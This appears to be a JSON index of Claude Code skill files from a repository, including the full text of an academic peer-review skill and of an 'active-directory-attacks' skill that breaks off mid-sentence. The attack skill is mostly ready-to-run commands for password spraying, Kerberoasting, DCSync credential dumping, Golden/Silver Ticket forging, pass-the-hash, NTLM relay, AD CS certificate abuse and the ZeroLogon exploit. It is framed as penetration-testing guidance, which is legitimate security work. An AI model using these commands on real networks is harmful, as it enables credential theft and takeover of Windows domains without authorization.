{"owner":"zebbern","repo":"claude-code-guide","hasSkills":true,"totalSkillsCount":318,"totalTokensCount":791170,"categories":["subagent-persona","anthropic-skill"],"hasMcp":false,"mcpConfig":null,"found":["agents/.claude/agents/change-implementer.md","agents/.claude/agents/code-reviewer.md","agents/.claude/agents/codebase-mapper.md","agents/.claude/agents/official-docs-researcher.md","agents/.claude/agents/root-cause-debugger.md","agents/.claude/agents/runtime-verifier.md","agents/.claude/agents/security-reviewer.md","agents/.claude/agents/solution-architect.md","agents/README.md","skills/academic-paper-reviewer/SKILL.md","skills/active-directory-attacks/SKILL.md","skills/active-directory-attacks/references/advanced-attacks.md","skills/api-fuzzing-bug-bounty/SKILL.md","skills/api-shape-explorer/SKILL.md","skills/audit-flow/COMMANDS.md","skills/audit-flow/EXAMPLES.md","skills/audit-flow/SKILL.md","skills/authentication-patterns/SKILL.md","skills/aws-penetration-testing/SKILL.md","skills/aws-penetration-testing/references/advanced-aws-pentesting.md","skills/broken-authentication/SKILL.md","skills/burp-suite-testing/SKILL.md","skills/caching/SKILL.md","skills/chart-image/README.md","skills/chart-image/SKILL.md","skills/chart-image/scripts/package.json","skills/cloud-penetration-testing/SKILL.md","skills/cloud-penetration-testing/references/advanced-cloud-scripts.md","skills/code-documenter/SKILL.md","skills/code-documenter/references/api-docs-fastapi-django.md","skills/code-documenter/references/api-docs-nestjs-express.md","skills/code-documenter/references/coverage-reports.md","skills/code-documenter/references/documentation-systems.md","skills/code-documenter/references/interactive-api-docs.md","skills/code-documenter/references/python-docstrings.md","skills/code-documenter/references/typescript-jsdoc.md","skills/code-documenter/references/user-guides-tutorials.md","skills/code-to-diagram/SKILL.md","skills/code-vuln-audit/SKILL.md","skills/composition-patterns/AGENTS.md","skills/composition-patterns/README.md","skills/composition-patterns/SKILL.md","skills/composition-patterns/metadata.json","skills/composition-patterns/rules/_sections.md","skills/composition-patterns/rules/_template.md","skills/composition-patterns/rules/architecture-avoid-boolean-props.md","skills/composition-patterns/rules/architecture-compound-components.md","skills/composition-patterns/rules/patterns-children-over-render-props.md","skills/composition-patterns/rules/patterns-explicit-variants.md","skills/composition-patterns/rules/react19-no-forwardref.md","skills/composition-patterns/rules/state-context-interface.md","skills/composition-patterns/rules/state-decouple-implementation.md","skills/composition-patterns/rules/state-lift-state.md","skills/cross-examine/SKILL.md","skills/cv-tailor/SKILL.md","skills/data-viz-renderer/SKILL.md","skills/database-optimizer/SKILL.md","skills/database-optimizer/references/index-strategies.md","skills/database-optimizer/references/monitoring-analysis.md","skills/database-optimizer/references/mysql-tuning.md","skills/database-optimizer/references/postgresql-tuning.md","skills/database-optimizer/references/query-optimization.md","skills/database-scout/SKILL.md","skills/dataset-quality-audit/SKILL.md","skills/deep-module-refactor/REFERENCE.md","skills/deep-module-refactor/SKILL.md","skills/design-system-builder/SKILL.md","skills/design-system-builder/assets/app-overview-generator.md","skills/design-system-builder/assets/design-system.md","skills/design-system-builder/assets/vibe-design-template.md","skills/dev-guide-generator/SKILL.md","skills/ethical-hacking-methodology/SKILL.md","skills/file-path-traversal/SKILL.md","skills/html-injection-testing/SKILL.md","skills/http-load-profiler/SKILL.md","skills/idor-testing/SKILL.md","skills/linux-privilege-escalation/SKILL.md","skills/linux-shell-scripting/SKILL.md","skills/localization-toolkit/SKILL.md","skills/log-error-digest/SKILL.md","skills/metasploit-framework/SKILL.md","skills/network-101/SKILL.md","skills/nextjs-developer/SKILL.md","skills/nextjs-developer/references/app-router.md","skills/nextjs-developer/references/data-fetching.md","skills/nextjs-developer/references/deployment.md","skills/nextjs-developer/references/server-actions.md","skills/nextjs-developer/references/server-components.md","skills/pentest-checklist/SKILL.md","skills/pentest-commands/SKILL.md","skills/pipeline-blueprint/SKILL.md","skills/playwright/SKILL.md","skills/playwright/ci/SKILL.md","skills/playwright/ci/ci-github-actions.md","skills/playwright/ci/ci-gitlab.md","skills/playwright/ci/ci-other.md","skills/playwright/ci/docker-and-containers.md","skills/playwright/ci/global-setup-teardown.md","skills/playwright/ci/parallel-and-sharding.md","skills/playwright/ci/projects-and-dependencies.md","skills/playwright/ci/reporting-and-artifacts.md","skills/playwright/ci/test-coverage.md","skills/playwright/core/SKILL.md","skills/playwright/core/accessibility.md","skills/playwright/core/angular.md","skills/playwright/core/api-testing.md","skills/playwright/core/assertions-and-waiting.md","skills/playwright/core/auth-flows.md","skills/playwright/core/authentication.md","skills/playwright/core/browser-apis.md","skills/playwright/core/browser-extensions.md","skills/playwright/core/canvas-and-webgl.md","skills/playwright/core/clock-and-time-mocking.md","skills/playwright/core/common-pitfalls.md","skills/playwright/core/component-testing.md","skills/playwright/core/configuration.md","skills/playwright/core/crud-testing.md","skills/playwright/core/debugging.md","skills/playwright/core/drag-and-drop.md","skills/playwright/core/electron-testing.md","skills/playwright/core/error-and-edge-cases.md","skills/playwright/core/error-index.md","skills/playwright/core/file-operations.md","skills/playwright/core/file-upload-download.md","skills/playwright/core/fixtures-and-hooks.md","skills/playwright/core/flaky-tests.md","skills/playwright/core/forms-and-validation.md","skills/playwright/core/i18n-and-localization.md","skills/playwright/core/iframes-and-shadow-dom.md","skills/playwright/core/locator-strategy.md","skills/playwright/core/locators.md","skills/playwright/core/mobile-and-responsive.md","skills/playwright/core/multi-context-and-popups.md","skills/playwright/core/multi-user-and-collaboration.md","skills/playwright/core/network-mocking.md","skills/playwright/core/nextjs.md","skills/playwright/core/performance-testing.md","skills/playwright/core/react.md","skills/playwright/core/search-and-filter.md","skills/playwright/core/security-testing.md","skills/playwright/core/service-workers-and-pwa.md","skills/playwright/core/test-architecture.md","skills/playwright/core/test-data-management.md","skills/playwright/core/test-organization.md","skills/playwright/core/third-party-integrations.md","skills/playwright/core/visual-regression.md","skills/playwright/core/vue.md","skills/playwright/core/websockets-and-realtime.md","skills/playwright/core/when-to-mock.md","skills/playwright/migration/SKILL.md","skills/playwright/migration/from-cypress.md","skills/playwright/migration/from-selenium.md","skills/playwright/playwright-cli/SKILL.md","skills/playwright/playwright-cli/advanced-workflows.md","skills/playwright/playwright-cli/core-commands.md","skills/playwright/playwright-cli/device-emulation.md","skills/playwright/playwright-cli/request-mocking.md","skills/playwright/playwright-cli/running-custom-code.md","skills/playwright/playwright-cli/screenshots-and-media.md","skills/playwright/playwright-cli/session-management.md","skills/playwright/playwright-cli/storage-and-auth.md","skills/playwright/playwright-cli/test-generation.md","skills/playwright/playwright-cli/tracing-and-debugging.md","skills/playwright/pom/SKILL.md","skills/playwright/pom/page-object-model.md","skills/playwright/pom/pom-vs-fixtures-vs-helpers.md","skills/privilege-escalation-methods/SKILL.md","skills/project-sizing-guide/SKILL.md","skills/r2-upload/README.md","skills/r2-upload/SECURITY.md","skills/r2-upload/SKILL.md","skills/r2-upload/package.json","skills/r2-upload/tsconfig.json","skills/r3f-animation/SKILL.md","skills/r3f-best-practices/SKILL.md","skills/r3f-best-practices/rules/_sections.md","skills/r3f-best-practices/rules/drei-use-gltf.md","skills/r3f-best-practices/rules/frame-delta-time.md","skills/r3f-best-practices/rules/loading-suspense.md","skills/r3f-best-practices/rules/perf-never-set-state-in-useframe.md","skills/r3f-best-practices/rules/perf-r3f-perf.md","skills/r3f-best-practices/rules/perf-visibility-toggle.md","skills/r3f-best-practices/rules/perf-zustand-selectors.md","skills/react-best-practices/AGENTS.md","skills/react-best-practices/README.md","skills/react-best-practices/SKILL.md","skills/react-best-practices/metadata.json","skills/react-best-practices/rules/_sections.md","skills/react-best-practices/rules/_template.md","skills/react-best-practices/rules/advanced-event-handler-refs.md","skills/react-best-practices/rules/advanced-init-once.md","skills/react-best-practices/rules/advanced-use-latest.md","skills/react-best-practices/rules/async-api-routes.md","skills/react-best-practices/rules/async-defer-await.md","skills/react-best-practices/rules/async-dependencies.md","skills/react-best-practices/rules/async-parallel.md","skills/react-best-practices/rules/async-suspense-boundaries.md","skills/react-best-practices/rules/bundle-barrel-imports.md","skills/react-best-practices/rules/bundle-conditional.md","skills/react-best-practices/rules/bundle-defer-third-party.md","skills/react-best-practices/rules/bundle-dynamic-imports.md","skills/react-best-practices/rules/bundle-preload.md","skills/react-best-practices/rules/client-event-listeners.md","skills/react-best-practices/rules/client-localstorage-schema.md","skills/react-best-practices/rules/client-passive-event-listeners.md","skills/react-best-practices/rules/client-swr-dedup.md","skills/react-best-practices/rules/js-batch-dom-css.md","skills/react-best-practices/rules/js-cache-function-results.md","skills/react-best-practices/rules/js-cache-property-access.md","skills/react-best-practices/rules/js-cache-storage.md","skills/react-best-practices/rules/js-combine-iterations.md","skills/react-best-practices/rules/js-early-exit.md","skills/react-best-practices/rules/js-hoist-regexp.md","skills/react-best-practices/rules/js-index-maps.md","skills/react-best-practices/rules/js-length-check-first.md","skills/react-best-practices/rules/js-min-max-loop.md","skills/react-best-practices/rules/js-set-map-lookups.md","skills/react-best-practices/rules/js-tosorted-immutable.md","skills/react-best-practices/rules/rendering-activity.md","skills/react-best-practices/rules/rendering-animate-svg-wrapper.md","skills/react-best-practices/rules/rendering-conditional-render.md","skills/react-best-practices/rules/rendering-content-visibility.md","skills/react-best-practices/rules/rendering-hoist-jsx.md","skills/react-best-practices/rules/rendering-hydration-no-flicker.md","skills/react-best-practices/rules/rendering-hydration-suppress-warning.md","skills/react-best-practices/rules/rendering-svg-precision.md","skills/react-best-practices/rules/rendering-usetransition-loading.md","skills/react-best-practices/rules/rerender-defer-reads.md","skills/react-best-practices/rules/rerender-dependencies.md","skills/react-best-practices/rules/rerender-derived-state-no-effect.md","skills/react-best-practices/rules/rerender-derived-state.md","skills/react-best-practices/rules/rerender-functional-setstate.md","skills/react-best-practices/rules/rerender-lazy-state-init.md","skills/react-best-practices/rules/rerender-memo-with-default-value.md","skills/react-best-practices/rules/rerender-memo.md","skills/react-best-practices/rules/rerender-move-effect-to-event.md","skills/react-best-practices/rules/rerender-simple-expression-in-memo.md","skills/react-best-practices/rules/rerender-transitions.md","skills/react-best-practices/rules/rerender-use-ref-transient-values.md","skills/react-best-practices/rules/server-after-nonblocking.md","skills/react-best-practices/rules/server-auth-actions.md","skills/react-best-practices/rules/server-cache-lru.md","skills/react-best-practices/rules/server-cache-react.md","skills/react-best-practices/rules/server-dedup-props.md","skills/react-best-practices/rules/server-parallel-fetching.md","skills/react-best-practices/rules/server-serialization.md","skills/red-team-tools/SKILL.md","skills/regression-modeler/SKILL.md","skills/regulatory-audit-generator/SKILL.md","skills/repo-audit/SKILL.md","skills/route-to-openapi/SKILL.md","skills/scanning-tools/SKILL.md","skills/scholarly-writing-refiner/SKILL.md","skills/secure-code-review/SKILL.md","skills/shodan-reconnaissance/SKILL.md","skills/smtp-penetration-testing/SKILL.md","skills/sql-injection-testing/SKILL.md","skills/sql-insight/SKILL.md","skills/sqlmap-database-pentesting/SKILL.md","skills/ssh-penetration-testing/SKILL.md","skills/test-driven-dev/SKILL.md","skills/test-driven-dev/deep-modules.md","skills/test-driven-dev/interface-design.md","skills/test-driven-dev/mocking.md","skills/test-driven-dev/refactoring.md","skills/test-driven-dev/tests.md","skills/test-suite-architect/SKILL.md","skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md","skills/test-suite-architect/references/day1_onboarding.md","skills/test-suite-architect/references/google_testing_standards.md","skills/test-suite-architect/references/ground_truth_principle.md","skills/test-suite-architect/references/llm_prompts_library.md","skills/test-suite-architect/references/master_qa_prompt.md","skills/three-best-practices/SKILL.md","skills/three-best-practices/rules/_sections.md","skills/three-best-practices/rules/animation-system.md","skills/three-best-practices/rules/asset-compression.md","skills/three-best-practices/rules/audio-spatial.md","skills/three-best-practices/rules/core-web-vitals.md","skills/three-best-practices/rules/debug-devtools.md","skills/three-best-practices/rules/draw-call-optimization.md","skills/three-best-practices/rules/error-handling-recovery.md","skills/three-best-practices/rules/geometry-instanced-mesh.md","skills/three-best-practices/rules/gltf-loading-optimization.md","skills/three-best-practices/rules/lighting-shadows-advanced.md","skills/three-best-practices/rules/memory-dispose-geometry.md","skills/three-best-practices/rules/migration-checklist.md","skills/three-best-practices/rules/mobile-optimization.md","skills/three-best-practices/rules/object-pooling.md","skills/three-best-practices/rules/physics-integration.md","skills/three-best-practices/rules/postprocessing-optimization.md","skills/three-best-practices/rules/raycasting-optimization.md","skills/three-best-practices/rules/render-delta-time.md","skills/three-best-practices/rules/setup-use-import-maps.md","skills/three-best-practices/rules/shader-mobile.md","skills/three-best-practices/rules/tsl-complete-reference.md","skills/three-best-practices/rules/tsl-compute-shaders.md","skills/three-best-practices/rules/tsl-material-slots.md","skills/three-best-practices/rules/tsl-post-processing.md","skills/three-best-practices/rules/tsl-why-use.md","skills/three-best-practices/rules/webgpu-renderer.md","skills/three-best-practices/rules/webxr-setup.md","skills/timeline-builder/SKILL.md","skills/top-web-vulnerabilities/SKILL.md","skills/tos-clause-scanner/SKILL.md","skills/typescript-pro/SKILL.md","skills/typescript-pro/references/advanced-types.md","skills/typescript-pro/references/configuration.md","skills/typescript-pro/references/patterns.md","skills/typescript-pro/references/type-guards.md","skills/typescript-pro/references/utility-types.md","skills/vc-industry-research/SKILL.md","skills/vc-industry-research/references/structure_contract.md","skills/vc-industry-research/references/style_contract.md","skills/windows-privilege-escalation/SKILL.md","skills/wireshark-analysis/SKILL.md","skills/wordpress-penetration-testing/SKILL.md","skills/xss-html-injection/SKILL.md"],"skills":{"agents/.claude/agents/change-implementer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fchange-implementer.md -->","agents/.claude/agents/code-reviewer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fcode-reviewer.md -->","agents/.claude/agents/codebase-mapper.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fcodebase-mapper.md -->","agents/.claude/agents/official-docs-researcher.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fofficial-docs-researcher.md -->","agents/.claude/agents/root-cause-debugger.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Froot-cause-debugger.md -->","agents/.claude/agents/runtime-verifier.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fruntime-verifier.md -->","agents/.claude/agents/security-reviewer.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fsecurity-reviewer.md -->","agents/.claude/agents/solution-architect.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2F.claude%2Fagents%2Fsolution-architect.md -->","agents/README.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=agents%2FREADME.md -->","skills/academic-paper-reviewer/SKILL.md":"---\nname: academic-paper-reviewer\ndescription: \"Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \\\"review my paper,\\\" \\\"simulate peer review,\\\" or \\\"give my paper a peer review.\"\nlicense: MIT\n---\n\n# Academic Paper Reviewer — Simulated Peer Review\n\nYou are a senior academic reviewer with extensive cross-disciplinary peer review experience. When a user submits paper content (abstract, full text, or specific sections), you will conduct a systematic review across four core dimensions — **Originality, Methodology, Results, and Writing** — and provide structured Major/Minor Revision recommendations.\n\n---\n\n## Input Requirements\n\nAsk the user to provide the following information (at least the first two items):\n\n1. **Paper content**: Abstract, full text, or specific sections to be reviewed\n2. **Discipline**: e.g., Computer Science, Biomedical Sciences, Economics, Psychology, etc.\n3. **Target journal/conference** (optional): e.g., Nature, ICML, The Lancet — used to calibrate review standards\n4. **Review focus** (optional): e.g., the user is particularly concerned about methodological soundness or writing quality\n\nIf the user does not specify a target venue, apply the general standards of a top-tier journal in the given discipline.\n\n---\n\n## Four Review Dimensions\n\n### Dimension 1: Originality\n\nAssesses the paper's academic novelty and contribution to the existing body of knowledge.\n\n**Review criteria:**\n\n- **Novelty of the research question**: Is the problem insufficiently addressed? Does the paper propose a new perspective or framework?\n- **Differentiation from existing work**: Is the distinction from prior research clearly articulated? Does the Related Work section adequately cover key references?\n- **Significance of contributions**: Do the findings represent a meaningful advance in the field? Is this an incremental improvement or a paradigm shift?\n- **Theoretical or practical value**: Are the results generalizable or applicable in practice?\n\n**Common issue examples:**\n\n- Major: Core method is highly similar to published work without clarifying the fundamental differences\n- Major: Research question has already been well addressed; no new contributions identified\n- Minor: Related Work section misses important recent work in the field\n- Minor: Contribution claims are too vague; innovation points need more precise articulation\n\n### Dimension 2: Methodology\n\nAssesses the scientific rigor, soundness, and reproducibility of the research methods.\n\n**Review criteria:**\n\n- **Soundness of research design**: Can the experimental design answer the stated research questions? Are there confounding variables or biases?\n- **Rigor of technical approach**: Are the chosen methods appropriate for the problem? Are assumptions reasonable and clearly stated?\n- **Baselines and comparative experiments**: Are comparisons made against appropriate baselines? Are comparisons fair (same datasets, comparable model sizes, etc.)?\n- **Reproducibility**: Is the method description detailed enough? Are key implementation details, hyperparameter settings, code, or data provided?\n- **Statistical methods**: Is the sample size adequate? Are statistical tests appropriate? Are confidence intervals or effect sizes reported?\n\n**Common issue examples:**\n\n- Major: Missing ablation studies; cannot verify independent contributions of each component\n- Major: No comparison with current SOTA methods; insufficient evidence of claimed improvements\n- Major: Sample size insufficient to support statistical conclusions; power analysis needed\n- Minor: Hyperparameter choices lack justification or sensitivity analysis\n- Minor: Some experimental details are unclear, affecting reproducibility\n\n### Dimension 3: Results\n\nAssesses the reliability, completeness, and interpretive soundness of the experimental results.\n\n**Review criteria:**\n\n- **Reliability of results**: Were experiments run multiple times? Are standard deviations or confidence intervals reported?\n- **Clarity of data presentation**: Are figures and tables clear, accurate, and informative? Is numerical precision appropriate?\n- **Consistency between results and conclusions**: Are the conclusions adequately supported by experimental evidence? Is there over-interpretation or selective reporting?\n- **Handling of negative results**: Are unexpected or unfavorable results honestly reported? Are reasonable explanations provided?\n- **Limitations analysis**: Are the limitations of the methods and results thoroughly discussed? Are future improvement directions identified?\n\n**Common issue examples:**\n\n- Major: Key experiments lack error bars or statistical significance tests\n- Major: Conclusions exceed the scope supported by experimental evidence\n- Major: Only favorable results are reported; potential reporting bias\n- Minor: Some figures have low resolution or unclear labels\n- Minor: Limitations section is too brief; core limitations are not discussed\n\n### Dimension 4: Writing\n\nAssesses the quality of expression, logical structure, and adherence to academic conventions.\n\n**Review criteria:**\n\n- **Overall structure**: Is the paper well-organized? Is the logic between sections coherent?\n- **Abstract quality**: Does the abstract accurately summarize the research question, methods, key findings, and contributions?\n- **Language quality**: Is the writing fluent? Are there grammatical errors, vague expressions, or redundancy?\n- **Terminology consistency**: Is specialized terminology used consistently and accurately? Are symbols defined at first occurrence?\n- **Citation standards**: Does the reference format comply with the target venue's requirements? Are citations appropriate (no excessive self-citation, no missing key references)?\n- **Length control**: Are section lengths reasonable? Is there obvious redundancy or insufficiency?\n\n**Common issue examples:**\n\n- Major: Paper's logical structure is disorganized; main argument is hard to follow\n- Minor: Abstract does not mention quantitative metrics from key experimental results\n- Minor: Some paragraphs are overly long and lack topic sentences; splitting recommended\n- Minor: Multiple grammatical errors in the English writing; native speaker proofreading recommended\n- Minor: Figure/table numbering does not match in-text references\n\n---\n\n## Severity Definitions\n\n### Major Revision\n\nCritical issues that must be addressed — the paper is not publishable without resolving these:\n\n- Fundamental flaws in experimental design\n- Missing key comparative experiments\n- Conclusions lack data support or involve over-interpretation\n- Insufficient originality; unclear differentiation from existing work\n- Obvious errors in technical methods\n\n### Minor Revision\n\nRecommended improvements that would significantly enhance paper quality:\n\n- Writing quality can be further improved\n- Some details are insufficiently described\n- Figures and tables can be optimized\n- Additional analysis or discussion needed\n- Formatting issues such as citation style\n\n---\n\n## Output Format\n\nFor each paper submitted, produce a review report in the following structure:\n\n```\n## Peer Review Report\n\n### Overall Assessment\n\n- **Recommendation**: [Accept / Minor Revision / Major Revision / Reject]\n- **Overall Score**: [1-10]\n- **Summary**: [One-sentence overall evaluation, including main strengths and core issues]\n\n---\n\n### 1. Originality\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List originality highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 2. Methodology\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List methodology highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 3. Results\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List results highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 4. Writing\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List writing highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### Revision Priority Checklist\n\nRevision suggestions ranked by importance to help authors revise efficiently:\n\n| Priority | Dimension | Type | Revision Item |\n|----------|-----------|------|---------------|\n| 1 | [Dimension] | Major | [Brief description] |\n| 2 | [Dimension] | Major | [Brief description] |\n| 3 | [Dimension] | Minor | [Brief description] |\n| ... | ... | ... | ... |\n\n---\n\n### General Advice for Authors\n\n[2-3 paragraphs of comprehensive advice, covering the paper's core strengths, areas most in need of improvement, and recommended revision strategy]\n```\n\n---\n\n## Review Principles\n\n1. **Constructive and actionable**: Every criticism must be accompanied by a specific, actionable improvement suggestion — no purely negative feedback\n2. **Evidence-driven**: When identifying issues, reference specific paragraphs, figures, or data from the paper\n3. **Fair and objective**: Highlight both strengths and weaknesses; avoid one-sided criticism\n4. **Standard calibration**: Adjust review rigor based on the target venue's standards (e.g., Nature/Science-level review criteria vs. mid-tier journals)\n\n## Additional Notes\n\n- If the user provides a PDF file, first use the PDF tool to extract the paper content, then proceed with the review\n- If only an abstract is provided, focus the review on the novelty of the research question, the soundness of the method overview, and writing quality — and suggest that the user submit the full paper for a more comprehensive review\n- If the user specifies a review focus, provide more detailed and in-depth evaluation on the corresponding dimension\n- For interdisciplinary papers, assess methodological soundness from the perspectives of each relevant discipline\n","skills/active-directory-attacks/SKILL.md":"---\nname: active-directory-attacks\ndescription: This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs/Prerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs/Deliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR/NBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time /domain /set\n\n# Fake clock without changing system time\nfaketime -f '+8h' <command>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync /domain:domain.local /user:krbtgt\nlsadump::dcsync /domain:domain.local /user:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local/Administrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local/user -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB/HTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local/DC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting 